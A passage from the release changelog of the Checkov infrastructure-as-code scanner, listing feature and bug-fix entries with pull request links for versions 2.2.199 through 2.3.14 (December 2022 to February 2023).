[#4509](https://github.com/bridgecrewio/checkov/pull/4509)\n\n## [2.3.14](https://github.com/bridgecrewio/checkov/compare/2.3.7...2.3.14) - 2023-02-14\n\n### Feature\n\n- **secrets:** log and filter potential uuid case - [#4486](https://github.com/bridgecrewio/checkov/pull/4486)\n- **terraform:** Assign/override main vertices by the first new vertice. - [#4493](https://github.com/bridgecrewio/checkov/pull/4493)\n- **terraform:** Support for loops in foreach statements - [#4483](https://github.com/bridgecrewio/checkov/pull/4483)\n\n### Bug Fix\n\n- **terraform:** Handle KeyError in hadle_for_loop func - [#4501](https://github.com/bridgecrewio/checkov/pull/4501)\n- **terraform:** Handle type error in `_handle_for_loop_in_dict` - [#4495](https://github.com/bridgecrewio/checkov/pull/4495)\n- **terraform:** skip loading module that calls to the same dir - [#4499](https://github.com/bridgecrewio/checkov/pull/4499)\n\n### Platform\n\n- **general:** Use new enforcement categories - [#4456](https://github.com/bridgecrewio/checkov/pull/4456)\n\n### Documentation\n\n- **general:** update installation on Alpine docs - [#4474](https://github.com/bridgecrewio/checkov/pull/4474)\n\n## [2.3.7](https://github.com/bridgecrewio/checkov/compare/2.3.3...2.3.7) - 2023-02-13\n\n### Feature\n\n- **graph:** Add UT as an example of not-exists for the nested list. - [#4484](https://github.com/bridgecrewio/checkov/pull/4484)\n- **secrets:** Save secrets line number - [#4488](https://github.com/bridgecrewio/checkov/pull/4488)\n- **terraform:** AWS:check global DocDB cluster is encrypted - [#4405](https://github.com/bridgecrewio/checkov/pull/4405)\n- **terraform:** check msk nodes are private - [#4392](https://github.com/bridgecrewio/checkov/pull/4392)\n- **terraform:** support more json encoded objects as part of terraform resource and fix evaluation of true/false in json - [#4487](https://github.com/bridgecrewio/checkov/pull/4487)\n\n### Bug Fix\n\n- **ansible:** support nested blocks and empty module values - [#4479](https://github.com/bridgecrewio/checkov/pull/4479)\n- **cloudformation:** Updated AWS_CKV_7 to not require rotation on asymmetric keys - [#4476](https://github.com/bridgecrewio/checkov/pull/4476)\n\n## [2.3.3](https://github.com/bridgecrewio/checkov/compare/2.3.0...2.3.3) - 2023-02-09\n\n### Feature\n\n- **secrets:** limit multiline regex detector run - [#4453](https://github.com/bridgecrewio/checkov/pull/4453)\n- **terraform:** Add foreach_attrs to config objects + UTs - [#4463](https://github.com/bridgecrewio/checkov/pull/4463)\n- **terraform:** GCP: Ensure Basic role are not used at Org/Folder/Project level (CKV_GCP_115, CKV_GCP_116, CKV_GCP_117) - [#4390](https://github.com/bridgecrewio/checkov/pull/4390)\n\n### Bug Fix\n\n- **kustomize:** fix kustomize file path cli - [#4466](https://github.com/bridgecrewio/checkov/pull/4466)\n- **terraform:** Allow different type of value in BaseResourceValueCheck - [#4470](https://github.com/bridgecrewio/checkov/pull/4470)\n- **terraform:** deny statements with wildcards are valid - [#4440](https://github.com/bridgecrewio/checkov/pull/4440)\n\n## [2.3.0](https://github.com/bridgecrewio/checkov/compare/2.2.356...2.3.0) - 2023-02-09\n\n### Breaking Change\n\n- **gha:** adjust the attribute reference for GitHub Actions graph checks - [#4445](https://github.com/bridgecrewio/checkov/pull/4445)\n- **terraform:** enable nested modules by default - [#4448](https://github.com/bridgecrewio/checkov/pull/4448)\n\n### Feature\n\n- **general:** Create 3d combinations post runner - [#4353](https://github.com/bridgecrewio/checkov/pull/4353)\n\n### Bug Fix\n\n- **gha:** fix GHA _get_jobs edge case (string step) - [#4444](https://github.com/bridgecrewio/checkov/pull/4444)\n- **graph:** added graph init to igraph db connector - [#4455](https://github.com/bridgecrewio/checkov/pull/4455)\n\n## [2.2.356](https://github.com/bridgecrewio/checkov/compare/2.2.348...2.2.356) - 2023-02-08\n\n### Feature\n\n- **sca:** Add support for Dotnet files - [#4189](https://github.com/bridgecrewio/checkov/pull/4189)\n- **terraform:** Create new resources for count/foreach resources - [#4427](https://github.com/bridgecrewio/checkov/pull/4427)\n- **terraform:** extend CKV2_AWS_5 to support aws_ec2_spot_fleet_request - [#4438](https://github.com/bridgecrewio/checkov/pull/4438)\n\n### Bug Fix\n\n- **general:** Correct BigQueryDatasetEncryptedWithCMK name field - [#4443](https://github.com/bridgecrewio/checkov/pull/4443)\n- **kubernetes:** Fix empty spec in k8s file - [#4452](https://github.com/bridgecrewio/checkov/pull/4452)\n- **kustomize:** Fix kustomize cli file path - [#4447](https://github.com/bridgecrewio/checkov/pull/4447)\n- **secrets:** remove CKV_SECRET_78 from SECRET_TYPE_TO_ID - [#4446](https://github.com/bridgecrewio/checkov/pull/4446)\n- **terraform:** change module index separator in full path - [#4437](https://github.com/bridgecrewio/checkov/pull/4437)\n\n## [2.2.348](https://github.com/bridgecrewio/checkov/compare/2.2.341...2.2.348) - 2023-02-07\n\n### Feature\n\n- **cloudformation:** support new default s3 encryption - [#4429](https://github.com/bridgecrewio/checkov/pull/4429)\n- **graph:** added indices to igraph nodes - [#4433](https://github.com/bridgecrewio/checkov/pull/4433)\n- **secrets:** Add args to analyze line is added and is removed for git history scan - [#4426](https://github.com/bridgecrewio/checkov/pull/4426)\n\n### Bug Fix\n\n- **secrets:** Comment out checkob multiline regex detectors - [#4441](https://github.com/bridgecrewio/checkov/pull/4441)\n- **terraform:** Fix updating resource config - [#4432](https://github.com/bridgecrewio/checkov/pull/4432)\n\n### Platform\n\n- **secrets:** Add secrets custom regex on file - [#4430](https://github.com/bridgecrewio/checkov/pull/4430)\n\n## [2.2.341](https://github.com/bridgecrewio/checkov/compare/2.2.335...2.2.341) - 2023-02-06\n\n### Feature\n\n- **ansible:** add support for Ansible blocks - [#4419](https://github.com/bridgecrewio/checkov/pull/4419)\n- **general:** Control check failure logging level - [#4431](https://github.com/bridgecrewio/checkov/pull/4431)\n- **graph:** add validation for graph checks - [#4352](https://github.com/bridgecrewio/checkov/pull/4352)\n- **kubernetes:** support inline skips for Kubernetes graph checks - [#4412](https://github.com/bridgecrewio/checkov/pull/4412)\n- **secrets:** remove secrets dependency in generic record - [#4424](https://github.com/bridgecrewio/checkov/pull/4424)\n\n### Bug Fix\n\n- **kustomize:** remove redundant error in kustomize runner - [#4428](https://github.com/bridgecrewio/checkov/pull/4428)\n\n### Documentation\n\n- **general:** fix graph check link in docs - [#4420](https://github.com/bridgecrewio/checkov/pull/4420)\n\n## [2.2.335](https://github.com/bridgecrewio/checkov/compare/2.2.332...2.2.335) - 2023-02-05\n\n### Feature\n\n- **kustomize:** support kustomize v5 - [#4411](https://github.com/bridgecrewio/checkov/pull/4411)\n- **terraform:** [Foreach/Count Handling] Render dynamic foreach/count statement - [#4398](https://github.com/bridgecrewio/checkov/pull/4398)\n\n### Bug Fix\n\n- **general:** Checks edge-cases fixes in terraform and openapi - [#4414](https://github.com/bridgecrewio/checkov/pull/4414)\n- **general:** Skip resources with no 'Type' defined + Checks containing wildcards for resource types leads to crash - [#4408](https://github.com/bridgecrewio/checkov/pull/4408)\n- **terraform:** fix getting the module for resource named 'module' - [#4418](https://github.com/bridgecrewio/checkov/pull/4418)\n- **terraform:** retire CKV_AWS_128 in favour of CKV_AWS_162 - [#4350](https://github.com/bridgecrewio/checkov/pull/4350)\n- **terraform:** SQS check was all types of wrong - [#4382](https://github.com/bridgecrewio/checkov/pull/4382)\n\n## [2.2.332](https://github.com/bridgecrewio/checkov/compare/2.2.331...2.2.332) - 2023-02-04\n\n### Bug Fix\n\n- **cloudformation:** Don't fail Aurora instances for MultiAZ not being set - [#4316](https://github.com/bridgecrewio/checkov/pull/4316)\n\n## [2.2.331](https://github.com/bridgecrewio/checkov/compare/2.2.330...2.2.331) - 2023-02-03\n\n### Bug Fix\n\n- **general:** fix compact json output - [#4406](https://github.com/bridgecrewio/checkov/pull/4406)\n\n## [2.2.330](https://github.com/bridgecrewio/checkov/compare/2.2.327...2.2.330) - 2023-02-02\n\n### Feature\n\n- **sca:** Add a --support flag   - [#4397](https://github.com/bridgecrewio/checkov/pull/4397)\n- **sca:** Add a --support flag --revert - [#4396](https://github.com/bridgecrewio/checkov/pull/4396)\n- **secrets:** add workdir info to secrets scanner - [#4400](https://github.com/bridgecrewio/checkov/pull/4400)\n- **secrets:** extract new detector_utils file from entropy keyword combinator - [#4385](https://github.com/bridgecrewio/checkov/pull/4385)\n\n### Bug Fix\n\n- **general:** Remove empty links from GitLab SAST output - [#4393](https://github.com/bridgecrewio/checkov/pull/4393)\n\n## [2.2.327](https://github.com/bridgecrewio/checkov/compare/2.2.320...2.2.327) - 2023-02-01\n\n### Feature\n\n- **gha:** add gha permissions lines - [#4372](https://github.com/bridgecrewio/checkov/pull/4372)\n- **sca:** add extract nodes igraph - [#4359](https://github.com/bridgecrewio/checkov/pull/4359)\n- **sca:** create bom report when extra_resources is not empty - [#4388](https://github.com/bridgecrewio/checkov/pull/4388)\n- **secrets:** add support for runnable secrets plugins - [#4368](https://github.com/bridgecrewio/checkov/pull/4368)\n- **terraform:** add CKV_GCP_114 to ensure that Public Access Prevention is enforced on GoogleCloudStorage bucket. - [#4347](https://github.com/bridgecrewio/checkov/pull/4347)\n- **terraform:** Add cloudsplaining checks to tf aws_iam_policy CKV_AWS_287-290 - [#4386](https://github.com/bridgecrewio/checkov/pull/4386)\n- **terraform:** get static foreach/count values of resources - [#4374](https://github.com/bridgecrewio/checkov/pull/4374)\n\n## [2.2.320](https://github.com/bridgecrewio/checkov/compare/2.2.316...2.2.320) - 2023-01-31\n\n### Feature\n\n- **sca:** Add a --support flag - [#4323](https://github.com/bridgecrewio/checkov/pull/4323)\n- **sca:** added extra supported package files to find_scannable_files - [#4378](https://github.com/bridgecrewio/checkov/pull/4378)\n- **terraform:** add reset edges function to terraform local graph - [#4373](https://github.com/bridgecrewio/checkov/pull/4373)\n- **terraform:** Added base class for cloudsplaining iam checks to be integrated between data and resource objects - [#4338](https://github.com/bridgecrewio/checkov/pull/4338)\n- **terraform:** Added basic check with test for tf resource with IAM privilege escalation - [#4376](https://github.com/bridgecrewio/checkov/pull/4376)\n\n### Bug Fix\n\n- **cloudformation:** Skip SAM Global Tags propagation - [#4383](https://github.com/bridgecrewio/checkov/pull/4383)\n- **sca:** extend image name validation - [#4377](https://github.com/bridgecrewio/checkov/pull/4377)\n- **terraform:** simple check naming fix - [#4371](https://github.com/bridgecrewio/checkov/pull/4371)\n\n## [2.2.316](https://github.com/bridgecrewio/checkov/compare/2.2.312...2.2.316) - 2023-01-30\n\n### Feature\n\n- **sca:** ignore package.json file when yarn.lock exists - [#4370](https://github.com/bridgecrewio/checkov/pull/4370)\n- **terraform:** GCP check kms policy does not define public access - [#4190](https://github.com/bridgecrewio/checkov/pull/4190)\n- **terraform:** GCP check policy isn't public - [#4194](https://github.com/bridgecrewio/checkov/pull/4194)\n\n### Bug Fix\n\n- **sca:** support BC_VUL_X IDs in GitLab SAST output - [#4360](https://github.com/bridgecrewio/checkov/pull/4360)\n\n## [2.2.312](https://github.com/bridgecrewio/checkov/compare/2.2.305...2.2.312) - 2023-01-29\n\n### Feature\n\n- **azure:** fix container latest tag missing results - [#4337](https://github.com/bridgecrewio/checkov/pull/4337)\n\n### Bug Fix\n\n- **azure:** Add `.*.` in azure checks to check in lists as well - [#4355](https://github.com/bridgecrewio/checkov/pull/4355)\n- **azure:** Azure checks fixes - [#4342](https://github.com/bridgecrewio/checkov/pull/4342)\n- **azure:** Azure checks fixes - [#4354](https://github.com/bridgecrewio/checkov/pull/4354)\n- **azure:** Support string function_app min_tls_version as well - [#4357](https://github.com/bridgecrewio/checkov/pull/4357)\n- **kubernetes:** k8s checks fixes - [#4343](https://github.com/bridgecrewio/checkov/pull/4343)\n- **sca:** Fix multiple issues related to IR - [#4358](https://github.com/bridgecrewio/checkov/pull/4358)\n- **terraform:** Terraform checks fixes - [#4344](https://github.com/bridgecrewio/checkov/pull/4344)\n\n## [2.2.305](https://github.com/bridgecrewio/checkov/compare/2.2.304...2.2.305) - 2023-01-28\n\n### Feature\n\n- **general:** Add GitLab SAST output - [#4315](https://github.com/bridgecrewio/checkov/pull/4315)\n\n## [2.2.304](https://github.com/bridgecrewio/checkov/compare/2.2.302...2.2.304) - 2023-01-26\n\n### Bug Fix\n\n- **kubernetes:** skip extracting pods for custom resources - [#4334](https://github.com/bridgecrewio/checkov/pull/4334)\n- **sca:** require requests 2.27.0 - [#4339](https://github.com/bridgecrewio/checkov/pull/4339)\n\n### Documentation\n\n- **general:** fix env var name to `CKV_IGNORE_HIDDEN_DIRECTORIES` - [#4335](https://github.com/bridgecrewio/checkov/pull/4335)\n\n## [2.2.302](https://github.com/bridgecrewio/checkov/compare/2.2.299...2.2.302) - 2023-01-25\n\n### Feature\n\n- **general:** igraph library support - [#4327](https://github.com/bridgecrewio/checkov/pull/4327)\n\n### Bug Fix\n\n- **general:** add missing header in --list output - [#4329](https://github.com/bridgecrewio/checkov/pull/4329)\n- **kubernetes:** extract pods only for supported resources - [#4330](https://github.com/bridgecrewio/checkov/pull/4330)\n- **sca:** catch exceptional error during SCA results polling - [#4331](https://github.com/bridgecrewio/checkov/pull/4331)\n- **terraform:** change terraform nested modules path separators - [#4319](https://github.com/bridgecrewio/checkov/pull/4319)\n- **terraform:** handle unexpected container definition type - [#4328](https://github.com/bridgecrewio/checkov/pull/4328)\n\n## [2.2.299](https://github.com/bridgecrewio/checkov/compare/2.2.292...2.2.299) - 2023-01-24\n\n### Feature\n\n- **azure:** change detect image source - [#4320](https://github.com/bridgecrewio/checkov/pull/4320)\n- **general:** add empty azure image check - [#4308](https://github.com/bridgecrewio/checkov/pull/4308)\n- **general:** add logs for async license and image retrieval  - [#4317](https://github.com/bridgecrewio/checkov/pull/4317)\n- **sca:** Support the new --image flag along the --docker-image flag  - [#4314](https://github.com/bridgecrewio/checkov/pull/4314)\n\n### Bug Fix\n\n- **general:** ignore repo_id setting when list flag is set - [#4313](https://github.com/bridgecrewio/checkov/pull/4313)\n- **kubernetes:** handle k8s resource with missing required data - [#4318](https://github.com/bridgecrewio/checkov/pull/4318)\n- **secrets:** Change s3 path for enriched secrets upload - [#4275](https://github.com/bridgecrewio/checkov/pull/4275)\n- **terraform:** handle unexpected container type - [#4311](https://github.com/bridgecrewio/checkov/pull/4311)\n\n### Documentation\n\n- **general:** Update README for supported Python versions - [#4305](https://github.com/bridgecrewio/checkov/pull/4305)\n\n## [2.2.292](https://github.com/bridgecrewio/checkov/compare/2.2.289...2.2.292) - 2023-01-23\n\n### Feature\n\n- **terraform:** new app service checks for azurerm - [#4072](https://github.com/bridgecrewio/checkov/pull/4072)\n\n### Bug Fix\n\n- **general:** In case of a non-JSON response, log the response - [#4304](https://github.com/bridgecrewio/checkov/pull/4304)\n- **terraform_plan:** fix in deep analysis - [#4306](https://github.com/bridgecrewio/checkov/pull/4306)\n- **terraform:** fix default behaviour of CKV_GCP_19 - [#4289](https://github.com/bridgecrewio/checkov/pull/4289)\n\n## [2.2.289](https://github.com/bridgecrewio/checkov/compare/2.2.281...2.2.289) - 2023-01-22\n\n### Feature\n\n- **general:** add Ansible framework - [#4244](https://github.com/bridgecrewio/checkov/pull/4244)\n- **general:** Allow using `--repo-root-for-plan-enrichment` flag in GitHub Actions - [#4292](https://github.com/bridgecrewio/checkov/pull/4292)\n- **secrets:** add new sanity test files for base64 entropy detector - [#4298](https://github.com/bridgecrewio/checkov/pull/4298)\n- **terraform:** Adding yaml based build time policies for corresponding PC run time policies - [#4265](https://github.com/bridgecrewio/checkov/pull/4265)\n\n### Bug Fix\n\n- **sca:** fix dependency tree cli print - [#4282](https://github.com/bridgecrewio/checkov/pull/4282)\n- **terraform:** fix Exception in image ref - [#4297](https://github.com/bridgecrewio/checkov/pull/4297)\n- **terraform:** fix in variable rendering - [#4296](https://github.com/bridgecrewio/checkov/pull/4296)\n- **terraform:** Fix policy str in graph checks - [#4286](https://github.com/bridgecrewio/checkov/pull/4286)\n\n## [2.2.281](https://github.com/bridgecrewio/checkov/compare/2.2.278...2.2.281) - 2023-01-19\n\n### Feature\n\n- **general:** add Image referencer igraph support - [#4277](https://github.com/bridgecrewio/checkov/pull/4277)\n- **general:** Support aiohttp for IR API calls - [#4274](https://github.com/bridgecrewio/checkov/pull/4274)\n\n### Bug Fix\n\n- **general:** Enable running cloned policies in case the OOTB policy is suppressed - [#4281](https://github.com/bridgecrewio/checkov/pull/4281)\n- **secrets:** change default secret validation status to unavailable - [#4284](https://github.com/bridgecrewio/checkov/pull/4284)\n- **terraform:** fix error for push_skipped_checks_down with definition that not in the definition context - [#4272](https://github.com/bridgecrewio/checkov/pull/4272)\n\n## [2.2.278](https://github.com/bridgecrewio/checkov/compare/2.2.274...2.2.278) - 2023-01-18\n\n### Feature\n\n- **azure:** Add image referencer in azure pipelines - [#4234](https://github.com/bridgecrewio/checkov/pull/4234)\n- **gha:** fix yaml parsing of multi files - [#4270](https://github.com/bridgecrewio/checkov/pull/4270)\n- **secrets:** fix to keyword combinator to reduce FPs - [#4260](https://github.com/bridgecrewio/checkov/pull/4260)\n\n### Bug Fix\n\n- **secrets:** add guideline and severity to custom secret check metadata - [#4276](https://github.com/bridgecrewio/checkov/pull/4276)\n\n## [2.2.274](https://github.com/bridgecrewio/checkov/compare/2.2.271...2.2.274) - 2023-01-17\n\n### Feature\n\n- **gha:** fix failing image retrieval in GHA IR - [#4268](https://github.com/bridgecrewio/checkov/pull/4268)\n\n### Bug Fix\n\n- **cloudformation:** fix CloudFormation checks related to number values - [#4243](https://github.com/bridgecrewio/checkov/pull/4243)\n- **general:** Add normalization to change the name of nuget to dotNet lang - [#4271](https://github.com/bridgecrewio/checkov/pull/4271)\n\n## [2.2.271](https://github.com/bridgecrewio/checkov/compare/2.2.264...2.2.271) - 2023-01-16\n\n### Feature\n\n- **dockerfile:** Add checks for PYTHONHTTPSVERIFY and NODE_TLS_REJECT_UNAUTHORIZED - [#4223](https://github.com/bridgecrewio/checkov/pull/4223)\n- **secrets:** Skip invalid secrets checks + soft/hard fails - [#4247](https://github.com/bridgecrewio/checkov/pull/4247)\n- **terraform:** Azure search service checks - [#4064](https://github.com/bridgecrewio/checkov/pull/4064)\n- **terraform:** GCP checks for definition of a firewall resource for a network - [#4188](https://github.com/bridgecrewio/checkov/pull/4188)\n\n### Bug Fix\n\n- **general:** Support encoding of function object - [#4259](https://github.com/bridgecrewio/checkov/pull/4259)\n- **kubernetes:** handle missing subjects in k8s cluster role binding - [#4262](https://github.com/bridgecrewio/checkov/pull/4262)\n- **kubernetes:** handle resources with incompatible selector - [#4257](https://github.com/bridgecrewio/checkov/pull/4257)\n- **secrets:** Change secret validation status message - [#4250](https://github.com/bridgecrewio/checkov/pull/4250)\n- **terraform:** default value for CKV_AZURE_5 - [#4237](https://github.com/bridgecrewio/checkov/pull/4237)\n- **terraform:** fix get_current_module_index for path that contain .tf in them - [#4261](https://github.com/bridgecrewio/checkov/pull/4261)\n\n## [2.2.264](https://github.com/bridgecrewio/checkov/compare/2.2.258...2.2.264) - 2023-01-15\n\n### Feature\n\n- **general:** fix circleci crash when cannot find image - [#4249](https://github.com/bridgecrewio/checkov/pull/4249)\n- **general:** fix circleci yaml-doc - [#4246](https://github.com/bridgecrewio/checkov/pull/4246)\n- **kubernetes:** set default k8s graph env vars to true - [#4225](https://github.com/bridgecrewio/checkov/pull/4225)\n- **terraform:** Add new checks for ensuring execution history logging and Xray for State Machine is enabled  - [#4240](https://github.com/bridgecrewio/checkov/pull/4240)\n\n### Bug Fix\n\n- **cloudformation:** Fix edge-cases in checks - [#4251](https://github.com/bridgecrewio/checkov/pull/4251)\n- **kubernetes:** removed env vars from tests - [#4252](https://github.com/bridgecrewio/checkov/pull/4252)\n- **secrets:** Change secret validation status message - [#4238](https://github.com/bridgecrewio/checkov/pull/4238)\n- **secrets:** Revert \"fix(secrets): Change secret validation status message\" - [#4248](https://github.com/bridgecrewio/checkov/pull/4248)\n\n## [2.2.258](https://github.com/bridgecrewio/checkov/compare/2.2.257...2.2.258) - 2023-01-12\n\n### Feature\n\n- **terraform:** PC-Policy-Team - GCP PostgreSQL Instance Database Policies - [#4090](https://github.com/bridgecrewio/checkov/pull/4090)\n\n## [2.2.257](https://github.com/bridgecrewio/checkov/compare/2.2.254...2.2.257) - 2023-01-11\n\n### Bug Fix\n\n- **secrets:** Change verify secrets key to include relative path - [#4232](https://github.com/bridgecrewio/checkov/pull/4232)\n- **terraform:** improve cross-variable edges performance - [#4231](https://github.com/bridgecrewio/checkov/pull/4231)\n\n## [2.2.254](https://github.com/bridgecrewio/checkov/compare/2.2.252...2.2.254) - 2023-01-10\n\n### Feature\n\n- **general:** Add resource attributes to omit arg - [#4193](https://github.com/bridgecrewio/checkov/pull/4193)\n- **terraform:** enable cross variable edges - [#4224](https://github.com/bridgecrewio/checkov/pull/4224)\n\n### Bug Fix\n\n- **secrets:** add function to add the custom policies to the metadata integration not in the multiprocess - [#4221](https://github.com/bridgecrewio/checkov/pull/4221)\n\n## [2.2.252](https://github.com/bridgecrewio/checkov/compare/2.2.246...2.2.252) - 2023-01-09\n\n### Feature\n\n- **kubernetes:** support more types of k8s pod template containers - [#4208](https://github.com/bridgecrewio/checkov/pull/4208)\n- **secrets:** Add secret validation status to reduced report - [#4219](https://github.com/bridgecrewio/checkov/pull/4219)\n- **secrets:** fix unquoted secret value - [#4214](https://github.com/bridgecrewio/checkov/pull/4214)\n- **terraform_plan:** support multiple references in one resource - [#4206](https://github.com/bridgecrewio/checkov/pull/4206)\n\n### Bug Fix\n\n- **kubernetes:** allow filtering of custom with built-in Kubernetes check IDs - [#4204](https://github.com/bridgecrewio/checkov/pull/4204)\n- **secrets:** add long to see metadata_integration - [#4220](https://github.com/bridgecrewio/checkov/pull/4220)\n- **terraform_plan:** fix module resources ids - [#4211](https://github.com/bridgecrewio/checkov/pull/4211)\n\n## [2.2.246](https://github.com/bridgecrewio/checkov/compare/2.2.239...2.2.246) - 2023-01-08\n\n### Feature\n\n- **dockerfile:** Add checks for unsafe wget and pip usages - [#4202](https://github.com/bridgecrewio/checkov/pull/4202)\n- **secrets:** Implement lower entropy threshold on a line with keyword - [#4210](https://github.com/bridgecrewio/checkov/pull/4210)\n- **terraform:** add CKV2_AWS_51 to Ensure AWS Managed IAMFullAccess IAM policy is not used. - [#4174](https://github.com/bridgecrewio/checkov/pull/4174)\n- **terraform:** CDN and service bus checks for azure - [#4059](https://github.com/bridgecrewio/checkov/pull/4059)\n\n### Bug Fix\n\n- **secrets:** add logs - [#4215](https://github.com/bridgecrewio/checkov/pull/4215)\n- **secrets:** add logs to secrets - [#4213](https://github.com/bridgecrewio/checkov/pull/4213)\n- **secrets:** Disable verify secrets if skip_download is specified - [#4209](https://github.com/bridgecrewio/checkov/pull/4209)\n- **secrets:** fix relative file path in secrets saved to coordinator - [#4212](https://github.com/bridgecrewio/checkov/pull/4212)\n\n## [2.2.239](https://github.com/bridgecrewio/checkov/compare/2.2.238...2.2.239) - 2023-01-06\n\n### Bug Fix\n\n- **general:** fix incorrect billing message when frameworks are removed from --framework list - [#4201](https://github.com/bridgecrewio/checkov/pull/4201)\n\n## [2.2.238](https://github.com/bridgecrewio/checkov/compare/2.2.234...2.2.238) - 2023-01-05\n\n### Feature\n\n- **dockerfile:** Add check for unsafe curl usages - [#4186](https://github.com/bridgecrewio/checkov/pull/4186)\n- **general:** add logic to vcs scanning to prevent empty repo collabs failing check - [#4199](https://github.com/bridgecrewio/checkov/pull/4199)\n- **terraform:** Adding yaml based build time policies for corresponding PC run time policies - [#4113](https://github.com/bridgecrewio/checkov/pull/4113)\n\n### Bug Fix\n\n- **general:** handle variable dependent values in policy - [#4200](https://github.com/bridgecrewio/checkov/pull/4200)\n- **secrets:** Fix api key condition in verify_secrets - [#4195](https://github.com/bridgecrewio/checkov/pull/4195)\n- **secrets:** Remove raw string modifier from re.compile - [#4197](https://github.com/bridgecrewio/checkov/pull/4197)\n\n## [2.2.234](https://github.com/bridgecrewio/checkov/compare/2.2.230...2.2.234) - 2023-01-04\n\n### Feature\n\n- **sca:** enable CHECKOV_RUN_SCA_PACKAGE_SCAN_V2 env var - [#4192](https://github.com/bridgecrewio/checkov/pull/4192)\n- **secrets:** Call secrets verify API - [#4181](https://github.com/bridgecrewio/checkov/pull/4181)\n\n### Bug Fix\n\n- **general:** set newer jsonschema dependency bound-  solves #2227 - [#4183](https://github.com/bridgecrewio/checkov/pull/4183)\n- **general:** Update exclude-patterns.txt - [#4187](https://github.com/bridgecrewio/checkov/pull/4187)\n\n### Documentation\n\n- **general:** fix links in contributing docs - [#4184](https://github.com/bridgecrewio/checkov/pull/4184)\n\n## [2.2.230](https://github.com/bridgecrewio/checkov/compare/2.2.229...2.2.230) - 2023-01-03\n\n### Feature\n\n- **general:** Skip check in json file - [#4172](https://github.com/bridgecrewio/checkov/pull/4172)\n\n## [2.2.229](https://github.com/bridgecrewio/checkov/compare/2.2.220...2.2.229) - 2023-01-01\n\n### Feature\n\n- **gha:** add support for gha existing graph - [#4175](https://github.com/bridgecrewio/checkov/pull/4175)\n- **secrets:** change secretsCoordinator to dict format - [#4169](https://github.com/bridgecrewio/checkov/pull/4169)\n- **terraform:** added aws_ssoadmin_managed_policy_attachment resource to CKV_AWS_274 - [#4173](https://github.com/bridgecrewio/checkov/pull/4173)\n\n### Bug Fix\n\n- **general:** add link to BaseGraphRegistry checks - [#4177](https://github.com/bridgecrewio/checkov/pull/4177)\n- **general:** change CODE_LINK_BASE from master to main - [#4178](https://github.com/bridgecrewio/checkov/pull/4178)\n- **kubernetes:** remove unneeded context check - [#4171](https://github.com/bridgecrewio/checkov/pull/4171)\n- **kustomize:** fixed kustomize abs_file_path - [#4159](https://github.com/bridgecrewio/checkov/pull/4159)\n- **terraform:** out of range error by checking if list is empty - [#4176](https://github.com/bridgecrewio/checkov/pull/4176)\n\n## [2.2.220](https://github.com/bridgecrewio/checkov/compare/2.2.217...2.2.220) - 2022-12-29\n\n### Feature\n\n- **sca:** remove report_results from checkov, as it is not used at all - [#4161](https://github.com/bridgecrewio/checkov/pull/4161)\n\n### Bug Fix\n\n- **general:** fix f-string log message - [#4170](https://github.com/bridgecrewio/checkov/pull/4170)\n\n### Documentation\n\n- **general:** fix reference link in Contributing docs page - [#4164](https://github.com/bridgecrewio/checkov/pull/4164)\n\n## [2.2.217](https://github.com/bridgecrewio/checkov/compare/2.2.212...2.2.217) - 2022-12-28\n\n### Feature\n\n- **general:** Make code blocks for json check results focused on the relevant part - [#4130](https://github.com/bridgecrewio/checkov/pull/4130)\n- **openapi:** Add v2 openAPI new checks - [#4112](https://github.com/bridgecrewio/checkov/pull/4112)\n- **terraform:** new azure storage checks - [#4021](https://github.com/bridgecrewio/checkov/pull/4021)\n\n### Bug Fix\n\n- **github:** Handle entity configurations of type list - [#4160](https://github.com/bridgecrewio/checkov/pull/4160)\n- **sca:** Fix extra space in output of dependencies - [#4162](https://github.com/bridgecrewio/checkov/pull/4162)\n\n## [2.2.212](https://github.com/bridgecrewio/checkov/compare/2.2.207...2.2.212) - 2022-12-27\n\n### Feature\n\n- **azure:** Add check - azure keyvalut public network access - [#4155](https://github.com/bridgecrewio/checkov/pull/4155)\n\n### Bug Fix\n\n- **terraform:** fix edge-case in CKV_AZURE_183 check - [#4154](https://github.com/bridgecrewio/checkov/pull/4154)\n- **terraform:** fix graph checks nested modules - [#4157](https://github.com/bridgecrewio/checkov/pull/4157)\n- **terraform:** fix or connection graph checks nested modules - [#4158](https://github.com/bridgecrewio/checkov/pull/4158)\n\n## [2.2.207](https://github.com/bridgecrewio/checkov/compare/2.2.201...2.2.207) - 2022-12-26\n\n### Feature\n\n- **kubernetes:** Support graph edges for nested (related) Pod resources. - [#4100](https://github.com/bridgecrewio/checkov/pull/4100)\n- **secrets:** Keep original secrets data in runtime for further validation - [#4144](https://github.com/bridgecrewio/checkov/pull/4144)\n- **secrets:** Keep original secrets data in runtime for further validation - [#4149](https://github.com/bridgecrewio/checkov/pull/4149)\n\n### Bug Fix\n\n- **general:** fix excluded paths for path with special characters - [#4152](https://github.com/bridgecrewio/checkov/pull/4152)\n- **terraform:** add test path to exclude-patterns - [#4150](https://github.com/bridgecrewio/checkov/pull/4150)\n- **terraform:** fix edge-case in CKV_AZURE_37 check - [#4153](https://github.com/bridgecrewio/checkov/pull/4153)\n- **terraform:** fix getting graph entity config in terraform runner - [#4146](https://github.com/bridgecrewio/checkov/pull/4146)\n- **terraform:** remove redundant nested definitions - [#4147](https://github.com/bridgecrewio/checkov/pull/4147)\n\n## [2.2.201](https://github.com/bridgecrewio/checkov/compare/2.2.199...2.2.201) - 2022-12-25\n\n### Bug Fix\n\n- **secrets:** add support to conditionQuery - [#4086](https://github.com/bridgecrewio/checkov/pull/4086)\n- **terraform:** fix edge-case in CKV_AZURE_183 check - [#4145](https://github.com/bridgecrewio/checkov/pull/4145)\n\n## [2.2.199](https://github.com/bridgecrewio/checkov/compare/2.2.191...2.2.199) - 2022-12-22\n\n### Feature\n\n- **gha:** support on directive in workflow files - [#4125](https://github.com/bridgecrewio/checkov/pull/4125)\n- **sca:** run old package scanning for IDE scan  - [#4133](https://github.com/bridgecrewio/checkov/pull/4133)\n- **secrets:** expose maximum 6 characters of secret values - [#4140](https://github.com/bridgecrewio/checkov/pull/4140)\n\n### Bug Fix\n\n- **circleci:** add resource to ir - [#4135](https://github.com/bridgecrewio/checkov/pull/4135)\n- **general:** Reformat PR template - [#4139](https://github.com/bridgecrewio/checkov/pull/4139)\n- **kubernetes:** move Kubernetes context error message - [#4132](https://github.com/bridgecrewio/checkov/pull/4132)\n- **terraform:** add aws_transfer_server to CKV2_AWS_5 check - [#4137](https://github.com/bridgecrewio/checkov/pull/4137)\n- **terraform:** Add some more supported keys to bigquery public acl check ignore list to avoid false positive - [#3969](https://github.com/bridgecrewio/checkov/pull/3969)\n- **terraform:** fix 